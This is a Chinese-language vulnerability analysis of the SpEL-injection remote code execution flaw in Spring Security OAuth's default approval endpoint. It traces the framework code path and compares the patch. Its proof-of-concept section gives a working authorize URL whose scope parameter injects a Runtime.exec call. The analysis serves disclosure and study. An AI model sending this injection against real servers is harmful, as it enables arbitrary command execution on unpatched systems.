Auth by Cryin

介绍

根据Sping官方给出的公告信息,spring-security-oauth若干版本中包含一个RCE漏洞,恶意攻击者构造特定授权请求,当资源所有者将其转发给approval批准页面时可导致远程代码执行。

漏洞触发条件:

  • 应用程序做为授权服务器角色 (例如使用注解@EnableAuthorizationServer)
  • 使用默认的Approval Endpoint

实际开发中,大部分oauth2使用者一般都会重写Approval Endpoint以满足自身需求。所以初步看这个漏洞利用条件还是比较苛刻的。 受影响版本及详细可参考官方的公告:

Spring Security OAuth:versions 2.3 prior to 2.3.3 and 2.2 prior to 2.2.2 and 2.1 prior to 2.1.2 and 2.0 prior to 2.0.15 and older unsupported versions

漏洞DEMO分析

官方的sample示例代码及网络上关于oauth2的demo不少,以Spring Security OAuth2 Demo工程为例新进行调试分析。作者给出了mysql表信息,创建数据库并添加一条测试数据即可以运行该demo,详细见sample代码库README描述。

可以看到这个demo启动类使用了@EnableAuthorizationServer注解,并且使用默认的授权批准页面。这里要说明的是authorization code模式的授权方式,如图所示: bg2014051204.png 用户发起授权请求时,client端将用户导向认证服务器,用户认证后进行approval授权批准,用户approval后,认证服务器将用户导向client端事先指定的重定向URIredirection URI),同时附上一个授权码,client端拿这个授权码向认证服务器申请访问令牌及刷新令牌,从而完成Oauth授权。在spring-security-oauth2中默认由请求/oauth/authorize处理授权请求,代码如下:

@RequestMapping(value = "/oauth/authorize")
	public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters,
			SessionStatus sessionStatus, Principal principal) {
		AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters);

		Set<String> responseTypes = authorizationRequest.getResponseTypes();

		if (!responseTypes.contains("token") && !responseTypes.contains("code")) {
			throw new UnsupportedResponseTypeException("Unsupported response types: " + responseTypes);
		}

		if (authorizationRequest.getClientId() == null) {
			throw new InvalidClientException("A client id must be provided");
		}
    ....
    oauth2RequestValidator.validateScope(authorizationRequest, client);
    ....
    return getAuthorizationCodeResponse(authorizationRequest, (Authentication) principal);
    ....
      

逐步往下看,其中createAuthorizationRequest函数处理授权请求参数并构造AuthorizationRequest对象,主要包含一下参数:

  • response_type:表示授权类型,必选项,授权码模式此处的值固定为”code”
  • client_id:表示客户端的ID,必选项
  • redirect_uri:表示重定向URI,可选项
  • scope:表示申请的权限范围,可选项
  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。

而后面的validateScope会对scope参数进行校验检查,如果clientScopes不为空则进行白名单检查,如果授权请求传入的scope不在设置的clientScopes这个list中,则抛出异常Invalid scope,如果clientScopes为空,则仅校验输入的scope不为空即会继续执行程序。而这个漏洞的触发点正式scope参数,所以在示例demo中一定要设置clientScopes为空,这也是这个漏洞触发的一个前提条件。validateScope的代码如下:

private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {

		if (clientScopes != null && !clientScopes.isEmpty()) {
			for (String scope : requestScopes) {
				if (!clientScopes.contains(scope)) {
					throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);
				}
			}
		}
		
		if (requestScopes.isEmpty()) {
			throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");
		}
	}

最后调用getAuthorizationCodeResponse将请求forward至/oauth/confirm_access页面,由用户进行approval批准授权,代码如下:

// We need explicit approval from the user.
	private ModelAndView getUserApprovalPageResponse(Map<String, Object> model,
			AuthorizationRequest authorizationRequest, Authentication principal) {
		if (logger.isDebugEnabled()) {
			logger.debug("Loading user approval page: " + userApprovalPage);
		}
		model.putAll(userApprovalHandler.getUserApprovalRequest(authorizationRequest, principal));
		return new ModelAndView(userApprovalPage, model);
	}

这里userApprovalPage即为/oauth/confirm_access,model中包含了之前构造的授权请求AuthorizationRequest对象。ModelAndView简单说就是MVC框架中包含Model和View的对象,ModelAndView返回模型和视图后由DispatcherServlet解析处理该请求。随之程序进入/oauth/confirm_access,代码如下:

@RequestMapping("/oauth/confirm_access")
	public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
		String template = createTemplate(model, request);
		if (request.getAttribute("_csrf") != null) {
			model.put("_csrf", request.getAttribute("_csrf"));
		}
		return new ModelAndView(new SpelView(template), model);
	}

createTemplate函数创建模版视图,经过一些替换及拼接处理得到最终的template如下: oauth1.png 然后调用了SpelView初始化view对象。传入ModelAndView展示approval批准授权页面,之后DispatcherServlet解析处理,之后通过view.render调用加载视图。

try {
			view.render(mv.getModelInternal(), request, response);
		}
		catch (Exception ex) {
			if (logger.isDebugEnabled()) {
				logger.debug("Error rendering view [" + view + "] in DispatcherServlet with name '" +
						getServletName() + "'", ex);
			}
			throw ex;
		}

因为这里的view是SpelView对象,所以进入SpelView类的render方法:

public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)
			throws Exception {
		Map<String, Object> map = new HashMap<String, Object>(model);
		String path = ServletUriComponentsBuilder.fromContextPath(request).build()
				.getPath();
		map.put("path", (Object) path==null ? "" : path);
		context.setRootObject(map);
		String maskedTemplate = template.replace("${", prefix);
		PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}");
		String result = helper.replacePlaceholders(maskedTemplate, resolver);
		result = result.replace(prefix, "${");
		response.setContentType(getContentType());
		response.getWriter().append(result);
	}

调试跟进replacePlaceholders函数,可以看到函数调用了parseStringValue方法,并将模版中每一个变量值都传入resolvePlaceholder方法将输入变量做为Spel表达式去解析,resolvePlaceholder方法如下:

public String resolvePlaceholder(String name) {
				Expression expression = parser.parseExpression(name);
				Object value = expression.getValue(context);
				return value == null ? null : value.toString();
			}

其中expression.getValue会最终调用继承了MethodExecutor的ReflectiveMethodExecutor执行java.lang.Runtime.getRuntime().exec(“/Applications/Calculator.app/Contents/MacOS/Calculator”),从而造成任意代码执行漏洞。理论上这里传入的name参数包括_csrf.token、client、path、scope等参数只要可控,都可以造成代码执行。 oauth2.png

漏洞POC

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/cryin/paper&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22/Applications/Calculator.app/Contents/MacOS/Calculator%22%29%7D

补丁对比

通过补丁可以看到官方把SpelView去掉,转而使用普通的View对象,同时对默认模版进行了一些修改。 Remove SpelView in WhitelabelApprovalEndpoint · spring-projects/spring-security-oauth@1c6815a · GitHub:https://github.com/spring-projects/spring-security-oauth/commit/1c6815ac1b26fb2f079adbe283c43a7fd0885f3d

总结

通过分析可知,这个漏洞触发的前提条件较多,除文章开头官方给出的两个条件外,授权服务的scope也需要设置为空,这种情况在实际应用中非常少见。但这个漏洞的重点不是Oauth本身,而是Spel表达式使用带来潜在的安全问题。诸如SpelView等涉及spel表达式解析的接口应该还很多。只要参数外部可控均有可能造成任意代码执行。这个问题有点和Struts2的OGNL表达式相似。Spel表达式注入可能是Spring后面会面临较多的安全问题。挖漏洞也可以从这个方向入手。

参考